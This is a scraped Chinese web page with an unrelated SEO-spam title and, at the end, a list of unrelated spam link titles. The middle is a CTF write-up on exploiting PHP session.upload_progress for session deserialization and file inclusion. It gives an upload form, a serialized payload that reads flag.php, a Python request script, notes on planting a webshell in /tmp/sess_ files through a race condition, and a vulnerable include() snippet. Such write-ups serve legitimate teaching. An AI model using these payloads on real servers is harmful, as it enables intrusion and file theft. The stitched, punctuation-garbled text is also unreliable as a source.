当前位置: 首页 > news >正文

网站建设与管理期末试卷拓谋网络深圳分公司

网站建设与管理期末试卷,拓谋网络深圳分公司,网站建设和网络搭建是一回事吗,百度知道官网原理详解 ctfshow web 263 ctfshow 新手杯 剪刀石头布 这里我们可以发现服务器使用的处理器为php_serialize#xff0c;与当前页面处理器不同#xff0c;在反序列化的时候会造成一些问题。同时cleanup配置没开#xff0c;关闭了session自动清理#xff0c;所以我们不需要… 原理详解 ctfshow web 263 ctfshow 新手杯 剪刀石头布  这里我们可以发现服务器使用的处理器为php_serialize与当前页面处理器不同在反序列化的时候会造成一些问题。同时cleanup配置没开关闭了session自动清理所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。  1.在线运行得到报文  !doctype html html body form actionhttp://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/ methodPOST enctypemultipart/form-datainput typehidden namePHP_SESSION_UPLOAD_PROGRESS value123 /input typefile namefile /input typesubmit / /form /body /html 2.接着上传文件抓包改数据包修改文件名为序列化串  ?php class Game{public $log;public function __construct(){$this-log /var/www/html/flag.php;} } $anew Game(); echo serialize($a); #|O:4:Game:1:{s:3:log;s:22:/var/www/html/flag.php;} ? 或者用python 发包 import requests url http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/ sessid {PHPSESSID:succ3 } data {PHP_SESSION_UPLOAD_PROGRESS:|O:4:Game:1:{s:3:log;s:22:/var/www/html/flag.php;} } file {file:1 } req requests.post(urlurl,filesfile,datadata,cookiessessid) print(req.text)利用session.upload_progress进行文件包含和反序列化渗透 PHP_SESSION_UPLOAD_PROGRESS进行文件包含   (详细步骤条件竞争) 1在php5.4之后php.ini开始有几个默认选项 1.session.upload_progress.enabled on 2.session.upload_progress.cleanup on 3.session.upload_progress.prefix “upload_progress_” 4.session.upload_progress.name “PHP_SESSION_UPLOAD_PROGRESS” 5.session.use_strict_modeoff  我们可以利用session.upload_progress将木马写入session文件然后包含这个session文件。不过前提是我们需要创建一个session文件并且知道session文件的存放位置。因为session.use_strict_modeoff的关系我们可以自定义sessionIDlinux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session例如我们在Cookie中设置了PHPSESSIDflagphp会在服务器上创建文件/tmp/sess_flag即使此时用户没有初始化sessionphp也会自动初始化Session。并产生一个键值为prefixname的值最后被写入sess_文件里还有一个关键点就是session.upload_progress.cleanup默认是开启的只要读取了post数据就会清除进度信息所以我们需要利用条件竞争来pass写一个脚本来完2.过滤了. 我们必须包含无后缀文件利用session.upload_progress进行文件包含和反序列化渗透 php中唯一能控制的无后缀session 控制文件名字/tmp/sess_aaa ?php if(isset($_GET[file])){$file $_GET[file];$file str_replace(php, ???, $file);$file str_replace(data, ???, $file);$file str_replace(:, ???, $file);$file str_replace(., ???, $file);include($file); }else{highlight_file(__FILE__); }
http://www.dnsts.com.cn/news/192795.html

相关文章:

  • 阳东网站seo怎么免费注册网站
  • 网络推广SEO优化网站建设中国建设银行手机登录
  • php网站开发框架餐饮店会员卡管理系统
  • 可以做企业网站wordpress玻璃透主题
  • 网站做排名需要多少钱制作表白网站的软件
  • 合肥建设工会网站营销策划公司简介范文
  • 昌乐哪里有做网站的seo流量工具
  • ipad可以做网站吗进不去wordpress
  • 建设外贸网站的公司品牌建设工作计划
  • 传媒网站制作金沙江支付 WordPress
  • 怎么棋牌网站建设玉林博白网站建设
  • 佛山找企业的网站周口建设路网站
  • 如何创建自己的网站链接百度官网入口链接
  • 丹阳建设局官方网站做外贸需掌握的网站
  • 综合门户网站什么意思外国网页设计免费模板
  • 服装网站开发的需求分析小程序制作需要什么语言
  • 佛山智能网站建设地址设计多平台网页制作
  • 网站建设具体建设流程微信扫码点餐小程序怎么做
  • 免费在线图片制作关键词优化报价怎么样
  • 成都本地做网站的做侵权网站用哪里的服务器稳
  • 唐山市建设交易中心官方网站网站上做百度广告赚钱么
  • 新网站怎么做才会被收录设计网站大全湖南岚鸿网站大全
  • 网站建设需要的专业知识酒店网站建设方案结束语
  • asp网站500错误网站设计基本功能
  • 网站建设策划书格式新品发布会领导致辞
  • 上海网站制作衫百度指数官方下载
  • 谷歌广告怎么投放天津做网站优化公司
  • 网站中的轮播怎么做展馆展示设计公司排名
  • 线上销售培训班课程资讯网站优化排名
  • 广州婚恋网站排名建设监理收录网站